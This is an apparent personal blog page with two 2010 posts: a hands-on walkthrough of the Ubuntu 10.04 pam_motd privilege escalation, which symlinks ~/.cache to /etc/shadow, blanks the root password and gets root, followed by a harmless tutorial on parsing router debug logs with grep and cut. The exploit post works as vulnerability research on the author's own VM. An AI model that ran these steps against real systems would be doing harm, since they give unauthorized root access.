Exploiting Ubuntu pam_motd vulnerability

July 12th, 2010

There is a PAM vulnerability in unpatched copies of Ubuntu. According to the Ubuntu (Article Here) it is an issue with the pam_motd module and it allows /etc/shadow to be modified by an unprivileged user. The shadow file is responsible for keeping the hashed copies of user passwords and is usually referenced in /etc/passwd with a single character of ‘x’.

I went ahead and installed a fresh copy of Ubuntu 10.04 Server in a VM to test this out with. The only modification I made was install ssh.

First thing we want to do is login


Ubuntu 10.04 LTS ubuntu tty1

ubuntu login: metacortex
Password:

Once I am in I go ahead and check my current uid


metacortex@ubuntu:~$ id
uid=1001(metacortex) gid=1001(metacortex) groups=1001(metacortex)

Now we can look and see what the default .cache directory contains


metacortex@ubuntu:~$ ls .cache/
motd.legal-displayed

It doesn’t really matter anyway because we are going to go ahead and get rid of it like so


metacortex@ubuntu:~$ rm -rfv .cache/
removed `.cache/motd.legal-displayed’
removed directory: `.cache’

Now to actually take advantage of the vulnerability, we are going to create a soft link to /etc/shadow in place of the .cache directory


metacortex@ubuntu:~$ ln -s /etc/shadow .cache
metacortex@ubuntu:~$ ls -alh
total 20k
drwxr-xr-x 2 metacortex metacortex 4.0k 2010-07-12 14:47 .
drwxr-xr-x 4 root root 4.0k 2010-07-12 14:42 ..
-rw-r–r– 1 metacortex metacortex 220 2010-04-18 20:15 .bash_logout
-rw-r–r– 1 metacortex metacortex 3.1k 2010-04-18 20:15 .bashrc
lrwxrwxrwx 1 metacortex metacortex 11 2010-07-12 14:47 .cache -> /etc/shadow
-rw-r–r– 1 metacortex metacortex 675 2010-04-18 20:15 .profile

With this soft link in place, we have full access to read and write to /etc/shadow


metacortex@ubuntu:~$ vim .cache

In VIM we will see the following


root:*:14802:0:99999:7:::
daemon:*:14802:0:99999:7:::
bin:*:14802:0:99999:7:::
sys:*:14802:0:99999:7:::
sync:*:14802:0:99999:7:::
games:*:14802:0:99999:7:::
man:*:14802:0:99999:7:::
lp:*:14802:0:99999:7:::
mail:*:14802:0:99999:7:::
news:*:14802:0:99999:7:::
uucp:*:14802:0:99999:7:::
proxy:*:14802:0:99999:7:::
www-data:*:14802:0:99999:7:::
backup:*:14802:0:99999:7:::
list:*:14802:0:99999:7:::
irc:*:14802:0:99999:7:::
gnats:*:14802:0:99999:7:::
nobody:*:14802:0:99999:7:::
libuuid:!:14802:0:99999:7:::
syslog:*:14802:0:99999:7:::
landscape:*:14802:0:99999:7:::
metacortex:$6$BMitImGG$7UbQbDGYRu2xyhyzI4ZYC7f1DlH15VfFZQXPlk6nanpPvxLwJI.es
pM7PuHBGruqKR/UpzgEwpf5Ng61:14802:0:99999:7:::
sshd:*:14802:0:99999:7:::
~
~
~
“.cache” 24L, 839C 1,1 All

Now that we have write access to the shadow file, we can do whatever we want with it such as completly removing the root password like this


root::14802:0:99999:7:::
daemon:*:14802:0:99999:7:::
bin:*:14802:0:99999:7:::
sys:*:14802:0:99999:7:::
sync:*:14802:0:99999:7:::
games:*:14802:0:99999:7:::
man:*:14802:0:99999:7:::
lp:*:14802:0:99999:7:::
mail:*:14802:0:99999:7:::
news:*:14802:0:99999:7:::
uucp:*:14802:0:99999:7:::
proxy:*:14802:0:99999:7:::
www-data:*:14802:0:99999:7:::
backup:*:14802:0:99999:7:::
list:*:14802:0:99999:7:::
irc:*:14802:0:99999:7:::
gnats:*:14802:0:99999:7:::
nobody:*:14802:0:99999:7:::
libuuid:!:14802:0:99999:7:::
syslog:*:14802:0:99999:7:::
landscape:*:14802:0:99999:7:::
metacortex:$6$BMitImGG$7UbQbDGYRu2xyhyzI4ZYC7f1DlH15VfFZQXPlk6nanpPvxLwJI.es
pM7PuHBGruqKR/UpzgEwpf5Ng61:14802:0:99999:7:::
sshd:*:14802:0:99999:7:::
~
~
~
“.cache” 24L, 839C 1,1 All

After we save it, we need to re-invoke pam_motd by logging in again


metacortex@ubuntu:~$ ssh localhost
Password:

Now we can feel free to log in as root whenever we would like


metacortex@ubuntu:~$ su -
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#

I am not sure of the exact technical details as to whats wrong with pam_motd but from what I can tell it allows the motd root access. What I can not figure out is why it does not work the same for /etc/passwd.

*EDIT*
I may have forgotten to re-invoke pam_motd after changing the soft link from shadow to passwd. I am able to own /etc/passwd just as easily as /etc/shadow. I also found this nice little shell script that automates it at packetstorm.

Command-line Fu: Parsing logs

July 7th, 2010

Tonight I was going through some output from a very large debug file for a router. The only information I had to go off of was that file. When I say large, I meanĀ 120955 lines of network debug information. It is far too much to go through manually unless you know exactly what you are looking for. It came up that I needed to look at each individual session that ran through the device. Instead of going though line by line looking for each session, I knew I could script it somehow. Just for reference here is basically what a single packet looks like


Jul 5 10:56:55 10:56:55.923221:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT:<10.6.70.1/2750->10.6.132.1/636;6> matched filter TDS_debug:

Jul 5 10:56:55 10:56:55.923257:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT:packet [40] ipid = 24977, @7a2200e8

Jul 5 10:56:55 10:56:55.923276:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT:—- flow_process_pkt: (thd 14): flow_ctxt type 13, common flag 0×0, mbuf 0xe50a000, rtbl_idx = 2405

Jul 5 10:56:55 10:56:55.923304:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT: flow process pak fast ifl 80 in_ifp reth1.412

Jul 5 10:56:55 10:56:55.923316:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT:flow_np_session_id2nsp: NP hdr: session id – 654724464, Flag – 8

Jul 5 10:56:55 10:56:55.923337:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT: flow session id 413040

Jul 5 10:56:55 10:56:55.923352:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT: vsd 1 is active

Jul 5 10:56:55 10:56:55.923363:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT: tcp seq check.

Jul 5 10:56:55 10:56:55.923371:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT:mbuf 0xe50a000, exit nh 0xec753c2

Jul 5 10:56:55 10:56:55.923388:CID-01:FPC-07:PIC-00:THREAD_ID-14:RT: —– flow_process_pkt rc 0×0 (fp rc 0)

I figured I should match on the source address and source port. You can see source/destination address and port in the following string of the first line


<10.6.70.1/2750->10.6.132.1/636;6>

The first part of my command to filter out just source address and port was


$ cat debug | grep “\<10.6.70.1\/”

Doing just this gave me a whole bunch of lines. Looking through them, I found that some of them were not the lines I was looking for and had to do with NAT so I refined my command even more by adding another grep command on the end of it


cat debug | grep “\<10.6.70.1\/” | grep “matched filter”

Doing this gave me all the lines I wanted. Counting the following output with “wc -l” gave me 2827 lines. This is more manageable than before but still I want to cut out all of the excess fluff on each line and get rid of any duplicate lines. For the fluff, I turned to my friend cut


$ cat debug | grep “\<10.6.70.1\/” | grep “matched filter” | cut -d “<” -f 2

The cut command at the end set a delimiter of the character “<”. The Delimiter tells it where to break up sections into groups. I then passed it the -f flag to tell it to show the second “section” (basically everything to the right of “<”). This gave me several lines like the following


10.6.70.1/2750->10.6.132.1/636;6> matched filter TDS_debug:

I got rid of the fluff at the beginning and now I need to get rid of the fluff at the end


$ cat debug | grep “\<10.6.70.1\/” | grep “matched filter” | cut -d “<” -f 2 | cut -d “-” -f 1

Again, I used cut and I set the delimiter to the character “-” and showed the first colum (everything to the left of the “-”).

With this command I get just the source address and port.


10.6.70.1/2750

All that is left now is to sort them and get rid of any duplicates with the sort and uniq commands


$ cat debug | grep “\<10.6.70.1\/” | grep “matched filter” | cut -d “<” -f 2 | cut -d “-” -f 1 | sort | uniq

Here is an extremely abbreviated output of what I have now


10.6.70.1/2750
10.6.70.1/2752
10.6.70.1/2753
10.6.70.1/2940
10.6.70.1/2941
10.6.70.1/2980
10.6.70.1/2981

Last thing that is left to do is to pipe all that output into a individual file


$ cat debug | grep “\<10.6.70.1\/” | grep “matched filter” | cut -d “<” -f 2 | cut -d “-” -f 1 | sort | uniq > sessions

We are now done and I can file this command away for further use.

 
     
); ?http://www.statcounter.com/free_hit_counter.html